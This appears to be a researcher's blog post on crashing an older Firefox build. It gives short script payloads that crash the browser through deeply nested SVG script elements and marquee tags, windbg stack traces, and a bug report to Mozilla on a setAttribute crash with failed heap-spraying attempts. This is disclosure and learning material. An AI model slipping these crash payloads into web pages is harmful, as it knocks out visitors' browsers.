Hacking Firefox

I was playing with Firefox to see what crashes it and thought SVG might be a good place to look. I tried combinations of all elements nested together and came across problems with script.

<script>str='';for(i=0;i<0xefff;i++){str+='<script>AAAAAA';};document.write('<svg>'+str+'</svg>');</script>

This causes a complete crash in Firefox but is it only a DoS? It appears so. I booted up windbg…stack overflow push edi.

FragmentOrElement::SaveSubtreeState()
{
uint32_t i, count = mAttrsAndChildren.ChildCount();//this line overflows
for (i = 0; i < count; ++i) { mAttrsAndChildren.ChildAt(i)->SaveSubtreeState();
}
}

Looks like a DoS to me, it crashes inconstantly but more consistently if you increase the value maybe if it was debugged when it doesn’t crash there might be something more interesting but I failed so I’m posting here.

DoS by Marquee

I looked outside of SVG and our old friend marquee had some fun for us.

<script>document.write(Array(184).join('<marquee>'))</script>

This causes the marquee crash

if (aIID.Equals(kThisImplCID))
foundInterface = static_cast(this);
else
NS_INTERFACE_MAP_END//appears to be this line


eax=70339e24 ebx=00000000 ecx=70b4d320 edx=70d9c4ac esi=0be7b004 edi=80000000
eip=6fe720c8 esp=00e63000 ebp=00e631dc iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202

6fe720c8 56 push esi

Crashes Firefox again but plain old Stack Exhaustion DoS again.

Possible stack corruption in Firefox using setAttribute

Lastly a pretty interesting crash that I reported to Mozilla which Boris stated it was safely crashing but in windbg there were a few indications of stack corruption and I was hoping to learn more when I reported it. I didn’t :/ so if you have some success please let me know as I was trying for ages. Here is my report to mozilla:

Here is a possible stack corruption in Firefox that’s I’ve been trying to exploit for a few days and I’ve finally given in and reported it. I would be super grateful to anyone who is willing to explain where I’m going right/wrong with this as I want to learn more about exploiting these bugs and also help mozilla in the process.

PoC
* Note if you increase the value to 0xfffff and more you can get outside of mozalloc and into non mozilla code.

Enough blabber. Ok so Firefox seems to crash when using setAttribute on
various html elements with a large selection of attributes. I couldn’t
narrow down exactly which are causing the problem but it could be just
having a lot of attributes. Passing a large string triggers the crash.

Exception Faulting Address: 0x74111988
First Chance Exception Type: STATUS_BREAKPOINT (0x80000003)

Faulting Instruction:74111988 int 3

Basic Block:
74111988 int 3

Exception Hash (Major/Minor): 0x142182e0.0x360c07ce

Hash Usage : Stack Trace:
Major+Minor : mozalloc!mozalloc_abort+0x2b
Major+Minor : xul!NS_DebugBreak_P+0x1c0
Major+Minor : xul!xpc::CompartmentPrivate::SetLocation+0x3fdf42
Major+Minor : xul!`anonymous namespace’::VirtualAllocHook+0x3f
Major+Minor : mozglue!chunk_alloc_mmap+0x17
Minor : MSVCR100!_getptd_noexit+0x74
Minor : MSVCR100!_errno+0x5
Minor : mozglue!je_malloc+0x369
Minor : xul!mozilla::dom::Element::SetAttr+0x5e2
Minor : xul!nsGenericHTMLElement::SetAttr+0x7a
Minor : xul!nsGenericHTMLFrameElement::SetAttr+0x1c
Minor : xul!mozilla::dom::Element::SetAttribute+0x1bd
Minor : xul!mozilla::dom::ElementBinding::setAttribute+0xa9
Minor : xul!mozilla::dom::ElementBinding::genericMethod+0x85
Minor : mozjs!js::mjit::EnterMethodJIT+0xbf
Minor : mozjs!CheckStackAndEnterMethodJIT+0x93
Minor : mozjs!js::Interpret+0x63bf
Minor : mozjs!js::RunScript+0xac
Minor : mozjs!js::ExecuteKernel+0x163
Minor : mozjs!js::Execute+0x83
Minor : mozjs!JS::Evaluate+0xd6
Minor : xul!nsJSContext::EvaluateString+0x20b
Minor : mozjs!JS::CompileOptions::CompileOptions+0x26
Minor : xul!nsQueryReferent::operator()+0x30
Minor : xul!nsCOMPtr_base::~nsCOMPtr_base+0xe
Minor : xul!nsIScriptElement::BeginEvaluating+0x3f
Minor : xul!nsScriptLoader::ProcessRequest+0x12f
Minor : xul!nsScriptLoader::ProcessScriptElement+0x251
Minor : xul!nsScriptElement::MaybeProcessScript+0xe5
Minor : xul!nsHtml5TreeOpExecutor::RunScript+0x60
Minor : xul!nsHtml5TreeOpExecutor::RunFlushLoop+0x314
Minor : xul!nsHtml5ExecutorFlusher::Run+0x14
Minor : xul!nsThread::ProcessNextEvent+0x279
Minor : xul!NS_ProcessNextEvent_P+0x2e
Minor : xul!mozilla::ipc::MessagePump::Run+0x46
Minor : xul!MessageLoop::RunHandler+0x51
Minor : xul!MessageLoop::Run+0x19
Minor : xul!nsBaseAppShell::Run+0x2c
Minor : xul!nsAppShell::Run+0x14
Minor : xul!XREMain::XRE_mainRun+0x37a
Minor : xul!XREMain::XRE_main+0xeb
Minor : xul!XRE_main+0x30
Minor : firefox!do_main+0x57e
Minor : firefox!wmain+0x7b0
Minor : firefox!__tmainCRTStartup+0x122
Minor : KERNEL32!BaseThreadInitThunk+0xe
Minor : ntdll!__RtlUserThreadStart+0x72
Minor : ntdll!_RtlUserThreadStart+0x1b
Instruction Address: 0x0000000074111988
Source File:
e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\memory\mozalloc\mozalloc_abort.cpp
Source Line: 30

Description: Breakpoint
Short Description: Breakpoint
Exploitability Classification: UNKNOWN
Recommended Bug Title: Breakpoint starting at
mozalloc!mozalloc_abort+0x000000000000002b (Hash=0x142182e0.0x360c07ce)

What’s weird is that it hits a break point that I didn’t set. A software
breakpoint in Firefox maybe? And there’s indication of stack corruption
because symbols aren’t found. I mess around with this and it’s possible
to break out of the mozalloc into another handler (outside the mozilla
code) I’m assuming this is good because it gets to memory it shouldn’t.

I looked in the calls window in windbg and so this:
03 0114d71c 74a47107 xul!`anonymous namespace’::VirtualAllocHook(void *
aAddress = 0x41414141, unsigned long aSize = 0x41414141, unsigned long
aAllocationType = 0x41414141, unsigned long aProtect = 0x41414141)+0x3f
(FPO: [Non-Fpo]) (CONV: stdcall)

Which looks cool to me since my code seems to be controlling the address
but still no idea what do now. I tried heap spraying to 0c0c0c0c and
change the string I send to \u0c0c0c but with no success.

Increasing the size of the string to 0xffffff results in a different
handler being called (I’m assuming some ms dll).

Basic Block:
74aa2357 rep movs dword ptr es:[edi],dword ptr [esi]
Tainted Input operands: ‘ecx’,’edi’,’esi’
74aa2359 jmp dword ptr msvcr100!trailupvec (74aa2470)[edx*4]

Exception Hash (Major/Minor): 0x7bb0290d.0x5be6096d

Hash Usage : Stack Trace:
Major+Minor : MSVCR100!memmove+0x57
Major+Minor : xul!AtomImpl::AtomImpl+0x92
Major+Minor : xul!NS_NewAtom+0x8b
Major+Minor : xul!nsAttrValue::ParseAtomArray+0xa6
Major+Minor : xul!nsGenericHTMLElement::ParseAttribute+0x1b5
Minor : xul!nsHTMLIFrameElement::ParseAttribute+0x89
Instruction Address: 0x0000000074aa2357
Source File: f:\dd\vctools\crt_bld\SELF_X86\crt\src\Intel\MEMCPY.ASM
Source Line: 185

Description: User Mode Write AV near NULL
Short Description: WriteAVNearNull
Exploitability Classification: UNKNOWN
Recommended Bug Title: User Mode Write AV near NULL starting at
MSVCR100!memmove+0x0000000000000057 (Hash=0x7bb0290d.0x5be6096d)

User mode write access violations that are near NULL are unknown.